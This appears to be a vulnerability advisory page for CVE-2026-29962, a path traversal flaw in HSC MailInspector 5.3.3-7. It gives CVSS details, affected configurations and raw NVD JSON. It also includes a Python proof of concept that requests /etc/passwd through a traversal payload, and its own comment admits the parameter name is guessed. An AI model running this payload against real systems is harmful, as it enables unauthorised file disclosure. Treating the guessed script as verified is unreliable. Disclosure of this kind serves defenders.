Security Vulnerability Report
中文
CVE-2026-29962 CVSS 7.5 HIGH

CVE-2026-29962

Published: 2026-05-18 18:17:21
Last Modified: 2026-05-19 17:21:36

Description

HSC MailInspector v5.3.3-7 contains a Local File Inclusion (LFI) vulnerability caused by improper control of user-supplied file paths. The endpoint /vendor/phpunit/phpunit.php processes user-controlled parameters that directly affect file access operations without adequate validation, sanitization, or path restriction. This allows a remote attacker to exploit Path Traversal techniques to read arbitrary files from the underlying operating system and application directories, leading to sensitive information disclosure.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:hsclabs:mailinspector:5.3.3-7:*:*:*:*:*:*:* - VULNERABLE
HSC MailInspector v5.3.3-7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 import requests def exploit_lfi(target_url): """ PoC for CVE-2026-29962 - LFI in HSC MailInspector """ # The vulnerable endpoint mentioned in the description endpoint = "/vendor/phpunit/phpunit.php" # Attempting to read /etc/passwd using path traversal # Note: The actual parameter name might vary, assuming 'file' based on common LFI patterns payload = {"file": "../../../../../../etc/passwd"} try: response = requests.get(target_url + endpoint, params=payload, timeout=10) # Check if the response contains typical /etc/passwd content if response.status_code == 200 and "root:x" in response.text: print("[+] Vulnerability Exploited Successfully!") print("[+] Leaked Content (first 200 chars):") print(response.text[:200]) return True else: print("[-] Exploit failed or target not vulnerable.") return False except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target exploit_lfi(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29962", "sourceIdentifier": "[email protected]", "published": "2026-05-18T18:17:21.383", "lastModified": "2026-05-19T17:21:35.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HSC MailInspector v5.3.3-7 contains a Local File Inclusion (LFI) vulnerability caused by improper control of user-supplied file paths. The endpoint /vendor/phpunit/phpunit.php processes user-controlled parameters that directly affect file access operations without adequate validation, sanitization, or path restriction. This allows a remote attacker to exploit Path Traversal techniques to read arbitrary files from the underlying operating system and application directories, leading to sensitive information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hsclabs:mailinspector:5.3.3-7:*:*:*:*:*:*:*", "matchCriteriaId": "5A2C551A-C71C-468F-A438-7ED1F576338A"}]}]}], "references": [{"url": "https://github.com/sql3t0/cve-disclosures", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/sql3t0/cve-disclosures/blob/main/01_-_CVE-2026-29962_LFI%2BPath_Traversal.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://hsclabs.com/pt-br/mailinspector", "source": "[email protected]", "tags": ["Product"]}]}}